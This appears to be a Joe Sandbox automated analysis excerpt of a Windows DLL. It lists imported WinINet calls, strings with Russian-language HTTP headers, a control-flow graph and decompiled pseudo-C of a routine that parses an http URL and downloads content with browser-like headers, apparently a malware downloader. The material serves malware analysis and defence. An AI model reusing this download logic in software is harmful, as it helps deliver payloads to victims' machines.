                                                          0x10001bc7
                                                          0x10001bca
                                                          0x00000000
                                                          0x10001bcc
                                                          0x10001bcc
                                                          0x00000000
                                                          0x10001bcc
                                                          0x10001bca
                                                          0x10001bba
                                                          0x10001ba9
                                                          0x10001b60
                                                          0x10001b4f
                                                          0x10001b02
                                                          0x10001ac1
                                                          0x10001ac1
                                                          0x10001ac3
                                                          0x10001ac6
                                                          0x10001ac8
                                                          0x10001ac8
                                                          0x10001aca
                                                          0x10001acd
                                                          0x10001ad3
                                                          0x10001adb
                                                          0x10001add
                                                          0x10001ae9
                                                          0x10001ae9
                                                          0x100019fa
                                                          0x10001a06
                                                          0x10001a06
                                                          0x10001a0c
                                                          0x10001a0e
                                                          0x10001a11
                                                          0x10001a13
                                                          0x10001a8c
                                                          0x10001a8c
                                                          0x00000000
                                                          0x10001a15
                                                          0x10001a15
                                                          0x10001a18
                                                          0x10001a1b
                                                          0x10001a31
                                                          0x10001a35
                                                          0x10001a39
                                                          0x10001a3c
                                                          0x10001a3f
                                                          0x10001a44
                                                          0x10001a47
                                                          0x10001a4a
                                                          0x10001a4d
                                                          0x10001a51
                                                          0x10001a54
                                                          0x10001a7f
                                                          0x10001a7f
                                                          0x10001a89
                                                          0x10001a56
                                                          0x10001a56
                                                          0x10001a59
                                                          0x10001a5b
                                                          0x10001a61
                                                          0x10001a75
                                                          0x10001a75
                                                          0x10001a77
                                                          0x00000000
                                                          0x10001a63
                                                          0x10001a63
                                                          0x10001a66
                                                          0x10001a6e
                                                          0x10001a71
                                                          0x00000000
                                                          0x10001a73
                                                          0x10001a73
                                                          0x00000000
                                                          0x10001a73
                                                          0x10001a71
                                                          0x10001a61
                                                          0x10001a54
                                                          0x10001a13
                                                          0x100019f4
                                                          0x100019ed
                                                          0x100019da
                                                          0x100019cb
                                                          0x1000198e
                                                          0x1000198e
                                                          0x10001990
                                                          0x10001993
                                                          0x10001995
                                                          0x10001995
                                                          0x1000199a
                                                          0x1000199d
                                                          0x100019a5
                                                          0x100019b1
                                                          0x100019b1
                                                          0x10001615
                                                          0x1000161a
                                                          0x10001621
                                                          0x10001623
                                                          0x10001626
                                                          0x1000162a
                                                          0x1000162e
                                                          0x10001630
                                                          0x10001632
                                                          0x10001637
                                                          0x1000163e
                                                          0x10001643
                                                          0x10001646
                                                          0x00000000
                                                          0x10001646
                                                          0x1000160f
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100015eb
                                                          0x100015fa
                                                          0x100015fc
                                                          0x100015ff
                                                          0x100015ff
                                                          0x10001603
                                                          0x00000000
                                                          0x10001590
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000132c
                                                          0x1000131c
                                                          0x10001305
                                                          0x10001189
                                                          0x00000000

                                                          APIs
                                                          • InternetSetFilePointer.WININET(10001898,00000000,00000000,00000000,00000000), ref: 10001095
                                                          • InternetReadFile.WININET(10001898,00000000,000003E8,00000000), ref: 100010B4
                                                          • HttpQueryInfoA.WININET(10001898,0000001D,?,00000103,00000000), ref: 10001148
                                                          • CoCreateInstance.OLE32(?,00000000,00000001,100101B0,?), ref: 10001181
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,?,?), ref: 10001224
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000), ref: 1000126A
                                                          • __cftof.LIBCMT ref: 100016EA
                                                          • InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 10001703
                                                          • InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001726
                                                          • InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 10001746
                                                          • HttpOpenRequestA.WININET(00000000,GET,00000000,00000000,00000000,00000000,80400000,00000001), ref: 10001779
                                                          • HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 100017D0
                                                          • HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 100017F6
                                                          • HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 1000181C
                                                          • HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 10001842
                                                          • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 10001885
                                                          • InternetCloseHandle.WININET(00000000), ref: 1000189C
                                                          • InternetCloseHandle.WININET(?), ref: 100018A4
                                                          • InternetCloseHandle.WININET(00000000), ref: 100018AA
                                                          Strings
                                                          • pYhv, xrefs: 100016CE, 1000188F
                                                          • GET, xrefs: 10001773
                                                          • Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 10001795
                                                          • invalid string position, xrefs: 10001960
                                                          • Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 100017FA
                                                          • http://, xrefs: 100015A2
                                                          • text, xrefs: 100012EC
                                                          • Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 100017D4
                                                          • Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001820
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: Internet$Http$Request$Headers$CloseHandle$ByteCharFileMultiOpenWide$ConnectCreateInfoInstanceOptionPointerQueryReadSend__cftof
                                                          • String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$invalid string position$pYhv$text
                                                          • API String ID: 3831252183-3393006363
                                                          • Opcode ID: 928840d67b81dec85a459f9b0e9ad04d7454cd60734cdd5e754f0154346cdfd8
                                                          • Instruction ID: 9cfefb4acadf1673c11eeb4d9e0c75330180c00a45bf6efb74ded1e1255f97de
                                                          • Opcode Fuzzy Hash: 928840d67b81dec85a459f9b0e9ad04d7454cd60734cdd5e754f0154346cdfd8
                                                          • Instruction Fuzzy Hash: 7D52B171E00218AFEB25CF68CC85BEEB7B9FF48340F504198E509AB295DB75AA45CF50
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 446 100014f0-1000153e 447 10001542-10001547 446->447 447->447 448 10001549-10001570 call 10001970 447->448 451 10001576-10001590 call 1000f670 448->451 452 10001649-10001656 448->452 451->452 461 10001596 451->461 453 10001658-10001668 call 1000f670 452->453 454 1000166e 452->454 453->454 463 1000166a-1000166c 453->463 457 10001671-10001710 call 10001970 call 10005bc0 call 10006419 InternetOpenA 454->457 478 10001716-10001757 InternetSetOptionA InternetConnectA 457->478 479 100018ac-100018b9 457->479 462 100015a0-100015b0 461->462 465 100015b2-100015b8 462->465 466 100015bb-100015bf 462->466 463->457 465->466 468 100015c1-100015c7 466->468 469 100015e2-100015e4 466->469 468->469 471 100015c9-100015cf 468->471 472 100015e7-100015e9 469->472 471->469 474 100015d1-100015d4 471->474 475 10001605-1000160b 472->475 476 100015eb-10001601 call 1000f670 472->476 480 100015d6-100015dc 474->480 481 100015de-100015e0 474->481 475->452 483 1000160d-1000160f 475->483 476->462 497 10001603 476->497 486 100018a9-100018aa InternetCloseHandle 478->486 487 1000175d-10001783 HttpOpenRequestA 478->487 488 100018e3-100018fb 479->488 489 100018bb-100018c7 479->489 480->469 480->481 481->472 484 10001945 call 10001960 483->484 485 10001615-10001646 call 10005bc0 483->485 503 1000194a call 1000633c 484->503 485->452 486->479 492 100018a1-100018a6 InternetCloseHandle 487->492 493 10001789-1000184e call 10001970 HttpAddRequestHeadersA call 10001970 HttpAddRequestHeadersA call 10001970 HttpAddRequestHeadersA call 10001970 HttpAddRequestHeadersA 487->493 498 10001925-10001942 call 100031ff 488->498 499 100018fd-10001909 488->499 495 100018d9-100018e0 call 10003216 489->495 496 100018c9-100018d7 489->496 492->486 525 10001850-1000185c 493->525 526 1000187c-1000188d HttpSendRequestA 493->526 495->488 496->495 504 1000194f-1000196a call 1000633c call 100031df 496->504 497->452 506 1000191b-10001922 call 10003216 499->506 507 1000190b-10001919 499->507 503->504 506->498 507->504 507->506 529 10001872-10001879 call 10003216 525->529 530 1000185e-1000186c 525->530 527 1000189b-1000189e InternetCloseHandle 526->527 528 1000188f-10001893 call 10001010 526->528 527->492 533 10001898 528->533 529->526 530->503 530->529 533->527
                                                          C-Code - Quality: 74%
                                                          			E100014F0(long __ecx, intOrPtr _a4) {
                                                          				char* _v8;
                                                          				void* _v12;
                                                          				signed int _v16;
                                                          				intOrPtr _v20;
                                                          				signed int _v24;
                                                          				unsigned int _v28;
                                                          				char* _v32;
                                                          				char* _v48;
                                                          				intOrPtr _v52;
                                                          				long _v56;
                                                          				char* _v72;
                                                          				void _v76;
                                                          				intOrPtr _v80;
                                                          				char* _v84;
                                                          				char* _v100;
                                                          				char* _v104;
                                                          				void* _v108;
                                                          				long _v112;
                                                          				void* _v116;
                                                          				signed int _v168;
                                                          				intOrPtr _v172;
                                                          				intOrPtr _v188;
                                                          				unsigned int _v192;
                                                          				signed int _v196;
                                                          				unsigned int _v200;
                                                          				signed int _v212;
                                                          				unsigned int _v216;
                                                          				unsigned int _v220;
                                                          				unsigned int _v224;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t165;
                                                          				signed int _t166;
                                                          				intOrPtr _t168;
                                                          				char* _t171;
                                                          				void** _t184;
                                                          				signed int _t193;
                                                          				void* _t211;
                                                          				void** _t212;
                                                          				unsigned int _t214;
                                                          				signed int _t215;
                                                          				signed int _t218;
                                                          				unsigned int _t220;
                                                          				signed int _t224;
                                                          				unsigned int _t225;
                                                          				void* _t229;
                                                          				signed int _t233;
                                                          				intOrPtr _t235;
                                                          				unsigned int _t237;
                                                          				void* _t243;
                                                          				char* _t246;
                                                          				void* _t254;
                                                          				char* _t272;
                                                          				char* _t273;
                                                          				signed int _t284;
                                                          				signed int _t285;
                                                          				void* _t287;
                                                          				void _t294;
                                                          				char* _t295;
                                                          				intOrPtr _t296;
                                                          				signed int _t298;
                                                          				void* _t299;
                                                          				signed int _t300;
                                                          				unsigned int _t301;
                                                          				unsigned int _t307;
                                                          				char* _t311;
                                                          				intOrPtr* _t315;
                                                          				void* _t319;
                                                          				void** _t329;
                                                          				unsigned int _t330;
                                                          				unsigned int _t331;
                                                          				void* _t332;
                                                          				void* _t333;
                                                          				char* _t334;
                                                          				char* _t342;
                                                          				void* _t346;
                                                          				intOrPtr _t347;
                                                          				unsigned int _t348;
                                                          				unsigned int _t349;
                                                          				void* _t352;
                                                          				intOrPtr _t353;
                                                          				void* _t354;
                                                          				void* _t359;
                                                          				void* _t361;
                                                          				unsigned int _t362;
                                                          				unsigned int _t363;
                                                          				signed int _t372;
                                                          				void* _t374;
                                                          				signed int _t376;
                                                          				signed int _t377;
                                                          				void* _t379;
                                                          				void* _t380;
                                                          				void** _t381;
                                                          				unsigned int _t382;
                                                          				signed int _t389;
                                                          				void* _t391;
                                                          				signed int _t396;
                                                          				void* _t397;
                                                          				void* _t398;
                                                          				void* _t400;
                                                          				void* _t401;
                                                          				void* _t403;
                                                          				void* _t405;
                                                          				void* _t406;
                                                          
                                                          				_push(0xffffffff);
                                                          				_push(E1000F78D);
                                                          				_push( *[fs:0x0]);
                                                          				_t401 = _t400 - 0x68;
                                                          				_t165 =  *0x10017004; // 0x615bd7ba
                                                          				_t166 = _t165 ^ _t396;
                                                          				_v24 = _t166;
                                                          				_push(_t376);
                                                          				_push(_t166);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_v112 = __ecx;
                                                          				_t294 = _a4;
                                                          				_t315 = _t294;
                                                          				_v48 = 0;
                                                          				_v76 = _t294;
                                                          				_v32 = 0;
                                                          				_v28 = 0xf;
                                                          				_t346 = _t315 + 1;
                                                          				_v48 = 0;
                                                          				do {
                                                          					_t168 =  *_t315;
                                                          					_t315 = _t315 + 1;
                                                          				} while (_t168 != 0);
                                                          				_push(_t315 - _t346);
                                                          				_push(_t294);
                                                          				L49();
                                                          				_v8 = 0;
                                                          				_t295 = _v32;
                                                          				_t319 =  >=  ? _v48 :  &_v48;
                                                          				_v108 = _t319;
                                                          				if(_t295 < 7) {
                                                          					L20:
                                                          					_t359 =  >=  ? _v48 :  &_v48;
                                                          					if(_t295 == 0) {
                                                          						L23:
                                                          						_t377 = _t376 | 0xffffffff;
                                                          						__eflags = _t377;
                                                          					} else {
                                                          						_t376 = E1000F670(_t359, 0x2f, _t295);
                                                          						_t401 = _t401 + 0xc;
                                                          						if(_t376 == 0) {
                                                          							goto L23;
                                                          						} else {
                                                          							_t377 = _t376 - _t359;
                                                          						}
                                                          					}
                                                          					_v100 = 0;
                                                          					_v84 = 0;
                                                          					_t321 =  <  ? _t295 : _t377;
                                                          					_v80 = 0xf;
                                                          					_push( <  ? _t295 : _t377);
                                                          					_t170 =  >=  ? _v48 :  &_v48;
                                                          					_push( >=  ? _v48 :  &_v48);
                                                          					_v100 = 0;
                                                          					L49();
                                                          					_v8 = 1;
                                                          					_t171 = _v32;
                                                          					_t378 =  <  ? _t171 : _t377;
                                                          					_t324 =  >=  ? _v48 :  &_v48;
                                                          					_t172 = _t171 - ( <  ? _t171 : _t377);
                                                          					_v32 = _t171 - ( <  ? _t171 : _t377);
                                                          					E10005BC0( >=  ? _v48 :  &_v48,  &(( >=  ? _v48 :  &_v48)[ <  ? _t171 : _t377]), _t171 - ( <  ? _t171 : _t377) + 1);
                                                          					_t296 = _v112;
                                                          					_t360 = 0;
                                                          					_v104 = 0;
                                                          					E10006419(_t296 + 0x44, 0x104, _v76, 0x103);
                                                          					_t403 = _t401 + 0x1c;
                                                          					asm("sbb eax, eax");
                                                          					_t379 = InternetOpenA( *(_t296 + 0xc),  ~( *(_t296 + 0x38)) & 0x00000003,  *(_t296 + 0x38), 0, 0);
                                                          					_v108 = _t379;
                                                          					if(_t379 == 0) {
                                                          						L36:
                                                          						_t347 = _v80;
                                                          						_t298 = 0 | _t360 > 0x00000000;
                                                          						if(_t347 < 0x10) {
                                                          							L40:
                                                          							_t348 = _v28;
                                                          							_v84 = 0;
                                                          							_v80 = 0xf;
                                                          							_v100 = 0;
                                                          							if(_t348 < 0x10) {
                                                          								L44:
                                                          								 *[fs:0x0] = _v16;
                                                          								_pop(_t361);
                                                          								_pop(_t380);
                                                          								_pop(_t299);
                                                          								return E100031FF(_t298, _t299, _v24 ^ _t396, _t348, _t361, _t380);
                                                          							} else {
                                                          								_t329 = _v48;
                                                          								_t348 = _t348 + 1;
                                                          								_t184 = _t329;
                                                          								if(_t348 < 0x1000) {
                                                          									L43:
                                                          									_push(_t348);
                                                          									E10003216(_t329);
                                                          									goto L44;
                                                          								} else {
                                                          									_t329 =  *(_t329 - 4);
                                                          									_t348 = _t348 + 0x23;
                                                          									if(_t184 - _t329 + 0xfffffffc > 0x1f) {
                                                          										goto L47;
                                                          									} else {
                                                          										goto L43;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t334 = _v100;
                                                          							_t352 = _t347 + 1;
                                                          							_t246 = _t334;
                                                          							if(_t352 < 0x1000) {
                                                          								L39:
                                                          								_push(_t352);
                                                          								E10003216(_t334);
                                                          								_t403 = _t403 + 8;
                                                          								goto L40;
                                                          							} else {
                                                          								_t329 =  *(_t334 - 4);
                                                          								_t348 = _t352 + 0x23;
                                                          								if(_t246 - _t329 + 0xfffffffc > 0x1f) {
                                                          									goto L47;
                                                          								} else {
                                                          									goto L39;
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_v76 = 1;
                                                          						InternetSetOptionA(_t379, 0x41,  &_v76, 4);
                                                          						_t253 =  >=  ? _v100 :  &_v100;
                                                          						_t254 = InternetConnectA(_t379,  >=  ? _v100 :  &_v100, 0x50,  *(_t296 + 0x3c),  *(_t296 + 0x40), 3, 0, 1);
                                                          						_t298 = InternetCloseHandle;
                                                          						_v116 = _t254;
                                                          						if(_t254 == 0) {
                                                          							L35:
                                                          							InternetCloseHandle(_t379);
                                                          							goto L36;
                                                          						} else {
                                                          							_t336 =  >=  ? _v48 :  &_v48;
                                                          							_t360 = HttpOpenRequestA(_t254, "GET",  >=  ? _v48 :  &_v48, 0, 0, 0, 0x80400000, 1);
                                                          							if(_t360 == 0) {
                                                          								L34:
                                                          								InternetCloseHandle(_v116);
                                                          								_t360 = _v104;
                                                          								goto L35;
                                                          							} else {
                                                          								_push(0x7d);
                                                          								_v72 = 0;
                                                          								_push("Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1");
                                                          								_v56 = 0;
                                                          								_v52 = 0xf;
                                                          								_v72 = 0;
                                                          								L49();
                                                          								_v8 = 2;
                                                          								_t379 = HttpAddRequestHeadersA;
                                                          								_t259 =  >=  ? _v72 :  &_v72;
                                                          								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
                                                          								_push(0x28);
                                                          								_push("Accept-Language: ru-RU,ru;q=0.9,en;q=0.8");
                                                          								L49();
                                                          								_t262 =  >=  ? _v72 :  &_v72;
                                                          								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
                                                          								_push(0x32);
                                                          								_push("Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1");
                                                          								L49();
                                                          								_t265 =  >=  ? _v72 :  &_v72;
                                                          								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
                                                          								_push(0x37);
                                                          								_push("Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0");
                                                          								L49();
                                                          								_t268 =  >=  ? _v72 :  &_v72;
                                                          								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
                                                          								_v8 = 1;
                                                          								_t353 = _v52;
                                                          								if(_t353 < 0x10) {
                                                          									L31:
                                                          									if(HttpSendRequestA(_t360, 0, 0, 0, 0) != 0) {
                                                          										_push(_t360); // executed
                                                          										_t272 = E10001010(_v112); // executed
                                                          										_v104 = _t272;
                                                          									}
                                                          									InternetCloseHandle(_t360);
                                                          									_t379 = _v108;
                                                          									goto L34;
                                                          								} else {
                                                          									_t342 = _v72;
                                                          									_t354 = _t353 + 1;
                                                          									_t273 = _t342;
                                                          									if(_t354 < 0x1000) {
                                                          										L30:
                                                          										_push(_t354);
                                                          										E10003216(_t342);
                                                          										_t403 = _t403 + 8;
                                                          										goto L31;
                                                          									} else {
                                                          										_t329 =  *(_t342 - 4);
                                                          										_t348 = _t354 + 0x23;
                                                          										if(_t273 - _t329 + 0xfffffffc > 0x1f) {
                                                          											goto L46;
                                                          										} else {
                                                          											goto L30;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t18 = _t295 - 6; // -6
                                                          					_v104 = _t18 + _t319;
                                                          					_t376 = E1000F670(_t319, 0x68, _t18 + _t319 - _t319);
                                                          					_t401 = _t401 + 0xc;
                                                          					if(_t376 != 0) {
                                                          						asm("o16 nop [eax+eax]");
                                                          						do {
                                                          							_t329 = _t376;
                                                          							_t348 = "http://";
                                                          							_t360 = 3;
                                                          							if( *_t329 ==  *_t348) {
                                                          								_t329 =  &(_t329[1]);
                                                          								_t348 = _t348 + 4;
                                                          								_t360 = 0xffffffffffffffff;
                                                          							}
                                                          							_t284 =  *_t329;
                                                          							if(_t284 !=  *_t348) {
                                                          								L13:
                                                          								asm("sbb eax, eax");
                                                          								_t285 = _t284 | 0x00000001;
                                                          								__eflags = _t285;
                                                          							} else {
                                                          								_t284 = _t329[0];
                                                          								if(_t284 !=  *(_t348 + 1)) {
                                                          									goto L13;
                                                          								} else {
                                                          									_t284 = _t329[0];
                                                          									if(_t284 !=  *((intOrPtr*)(_t348 + 2))) {
                                                          										goto L13;
                                                          									} else {
                                                          										if(_t360 == 0xffffffff) {
                                                          											L12:
                                                          											_t285 = 0;
                                                          										} else {
                                                          											_t284 = _t329[0];
                                                          											if(_t284 !=  *((intOrPtr*)(_t348 + 3))) {
                                                          												goto L13;
                                                          											} else {
                                                          												goto L12;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          							if(_t285 == 0) {
                                                          								_t376 = _t376 - _v108;
                                                          								__eflags = _t376 - 0xffffffff;
                                                          								if(_t376 == 0xffffffff) {
                                                          									goto L20;
                                                          								} else {
                                                          									__eflags = _t295 - _t376;
                                                          									if(__eflags < 0) {
                                                          										L48();
                                                          										L46:
                                                          										E1000633C(_t298, _t329, _t348, __eflags);
                                                          										L47:
                                                          										E1000633C(_t298, _t329, _t348, __eflags);
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										_push("invalid string position");
                                                          										E100031DF(_t298, _t348, _t360, _t379);
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										asm("int3");
                                                          										_push(_t396);
                                                          										_t397 = _t403;
                                                          										_t405 = _t403 - 0xc;
                                                          										_t190 = _v172;
                                                          										_push(_t298);
                                                          										_t300 = _v168;
                                                          										_push(_t379);
                                                          										_t381 = _t329;
                                                          										_v188 = _v172;
                                                          										_push(_t360);
                                                          										_t330 = _t381[5];
                                                          										_v192 = _t330;
                                                          										__eflags = _t300 - _t330;
                                                          										if(_t300 > _t330) {
                                                          											__eflags = _t300 - 0x7fffffff;
                                                          											if(_t300 > 0x7fffffff) {
                                                          												L72:
                                                          												E10001CA0(_t330);
                                                          												goto L73;
                                                          											} else {
                                                          												_t372 = _t300 | 0x0000000f;
                                                          												__eflags = _t372 - 0x7fffffff;
                                                          												if(__eflags > 0) {
                                                          													L59:
                                                          													_t360 = 0x7fffffff;
                                                          													_t229 = 0x80000023;
                                                          													goto L60;
                                                          												} else {
                                                          													_t348 = _t330 >> 1;
                                                          													__eflags = _t330 - 0x7fffffff - _t348;
                                                          													if(__eflags > 0) {
                                                          														goto L59;
                                                          													} else {
                                                          														_t243 = _t348 + _t330;
                                                          														__eflags = _t372 - _t243;
                                                          														_t360 =  <  ? _t243 : _t372;
                                                          														_t330 = _t360 + 1;
                                                          														__eflags = _t330 - 0x1000;
                                                          														if(_t330 < 0x1000) {
                                                          															__eflags = _t330;
                                                          															if(__eflags == 0) {
                                                          																_t233 = 0;
                                                          																__eflags = 0;
                                                          															} else {
                                                          																_push(_t330);
                                                          																_t233 = E10003229(_t300, _t360, _t381, __eflags);
                                                          																_t405 = _t405 + 4;
                                                          															}
                                                          															goto L65;
                                                          														} else {
                                                          															_t229 = _t330 + 0x23;
                                                          															__eflags = _t229 - _t330;
                                                          															if(__eflags <= 0) {
                                                          																L73:
                                                          																E10001DE0(_t300);
                                                          																asm("int3");
                                                          																asm("int3");
                                                          																asm("int3");
                                                          																asm("int3");
                                                          																asm("int3");
                                                          																_push(_t397);
                                                          																_t398 = _t405;
                                                          																_t406 = _t405 - 0xc;
                                                          																_t193 = _v196;
                                                          																_t349 = _v200;
                                                          																_push(_t300);
                                                          																_push(_t381);
                                                          																_push(_t360);
                                                          																_t362 = _t330;
                                                          																_v216 = _t349;
                                                          																_v212 = _t193;
                                                          																_t331 =  *(_t362 + 0x14);
                                                          																_v220 = _t331;
                                                          																__eflags = _t193 - _t331;
                                                          																if(_t193 > _t331) {
                                                          																	__eflags = _t193 - 0x7ffffffe;
                                                          																	if(__eflags > 0) {
                                                          																		L98:
                                                          																		E10001CA0(_t331);
                                                          																		goto L99;
                                                          																	} else {
                                                          																		_t389 = _t193 | 0x00000007;
                                                          																		__eflags = _t389 - 0x7ffffffe;
                                                          																		if(_t389 <= 0x7ffffffe) {
                                                          																			_t349 = _t331 >> 1;
                                                          																			__eflags = _t331 - 0x7ffffffe - _t349;
                                                          																			if(_t331 <= 0x7ffffffe - _t349) {
                                                          																				_t211 = _t349 + _t331;
                                                          																				__eflags = _t389 - _t211;
                                                          																				_t381 =  <  ? _t211 : _t389;
                                                          																				_t212 =  &(_t381[0]);
                                                          																				__eflags = _t212 - 0x7fffffff;
                                                          																				if(_t212 > 0x7fffffff) {
                                                          																					goto L97;
                                                          																				} else {
                                                          																					_t214 = _t212 + _t212;
                                                          																					__eflags = _t214 - 0x1000;
                                                          																					if(_t214 < 0x1000) {
                                                          																						__eflags = _t214;
                                                          																						if(__eflags == 0) {
                                                          																							_t300 = 0;
                                                          																							__eflags = 0;
                                                          																						} else {
                                                          																							_push(_t214);
                                                          																							_t224 = E10003229(_t300, _t362, _t381, __eflags);
                                                          																							_t406 = _t406 + 4;
                                                          																							_t300 = _t224;
                                                          																						}
                                                          																						goto L91;
                                                          																					} else {
                                                          																						goto L85;
                                                          																					}
                                                          																				}
                                                          																			} else {
                                                          																				_t381 = 0x7ffffffe;
                                                          																				_t214 = 0xfffffffe;
                                                          																				goto L85;
                                                          																			}
                                                          																		} else {
                                                          																			_t381 = 0x7ffffffe;
                                                          																			_t214 = 0xfffffffe;
                                                          																			L85:
                                                          																			_t149 = _t214 + 0x23; // 0x100000021
                                                          																			_t331 = _t149;
                                                          																			__eflags = _t331 - _t214;
                                                          																			if(__eflags <= 0) {
                                                          																				L97:
                                                          																				E10001DE0(_t300);
                                                          																				goto L98;
                                                          																			} else {
                                                          																				_push(_t331);
                                                          																				_t225 = E10003229(_t300, _t362, _t381, __eflags);
                                                          																				_t406 = _t406 + 4;
                                                          																				__eflags = _t225;
                                                          																				if(__eflags == 0) {
                                                          																					L99:
                                                          																					E1000633C(_t300, _t331, _t349, __eflags);
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					_push(_t398);
                                                          																					_push(_t381);
                                                          																					_t382 = _v224;
                                                          																					_push(_t362);
                                                          																					_t363 = _t349;
                                                          																					__eflags = _t382;
                                                          																					if(_t382 != 0) {
                                                          																						__eflags = _t331;
                                                          																						if(__eflags != 0) {
                                                          																							_push(_t300);
                                                          																							_t301 = _v8;
                                                          																							__eflags = _t301;
                                                          																							if(_t301 == 0) {
                                                          																								L107:
                                                          																								E10004730(_t363, _t331, 0, _t363);
                                                          																								__eflags = _t301;
                                                          																								if(__eflags != 0) {
                                                          																									__eflags = _t363 - _t382;
                                                          																									if(__eflags >= 0) {
                                                          																										goto L109;
                                                          																									} else {
                                                          																										 *((intOrPtr*)(E10006406(__eflags))) = 0x22;
                                                          																										E1000632C();
                                                          																										return 0x22;
                                                          																									}
                                                          																								} else {
                                                          																									 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
                                                          																									E1000632C();
                                                          																									L109:
                                                          																									return 0x16;
                                                          																								}
                                                          																							} else {
                                                          																								__eflags = _t363 - _t382;
                                                          																								if(_t363 < _t382) {
                                                          																									goto L107;
                                                          																								} else {
                                                          																									E10005BC0(_t331, _t301, _t382);
                                                          																									__eflags = 0;
                                                          																									return 0;
                                                          																								}
                                                          																							}
                                                          																						} else {
                                                          																							 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
                                                          																							E1000632C();
                                                          																							return 0x16;
                                                          																						}
                                                          																					} else {
                                                          																						__eflags = 0;
                                                          																						return 0;
                                                          																					}
                                                          																				} else {
                                                          																					_t150 = _t225 + 0x23; // 0x23
                                                          																					_t300 = _t150 & 0xffffffe0;
                                                          																					 *(_t300 - 4) = _t225;
                                                          																					L91:
                                                          																					_t215 = _v16;
                                                          																					 *(_t362 + 0x14) = _t381;
                                                          																					 *(_t362 + 0x10) = _t215;
                                                          																					_t381 = _t215 + _t215;
                                                          																					E10005BC0(_t300, _v20, _t381);
                                                          																					_t406 = _t406 + 0xc;
                                                          																					 *((short*)(_t381 + _t300)) = 0;
                                                          																					_t218 = _v24;
                                                          																					__eflags = _t218 - 8;
                                                          																					if(_t218 < 8) {
                                                          																						L96:
                                                          																						 *_t362 = _t300;
                                                          																						return _t362;
                                                          																					} else {
                                                          																						_t332 = 2 + _t218 * 2;
                                                          																						_t220 =  *_t362;
                                                          																						__eflags = _t332 - 0x1000;
                                                          																						if(_t332 < 0x1000) {
                                                          																							L95:
                                                          																							_push(_t332);
                                                          																							E10003216(_t220);
                                                          																							goto L96;
                                                          																						} else {
                                                          																							_t349 =  *(_t220 - 4);
                                                          																							_t331 = _t332 + 0x23;
                                                          																							__eflags = _t220 - _t349 + 0xfffffffc - 0x1f;
                                                          																							if(__eflags > 0) {
                                                          																								goto L99;
                                                          																							} else {
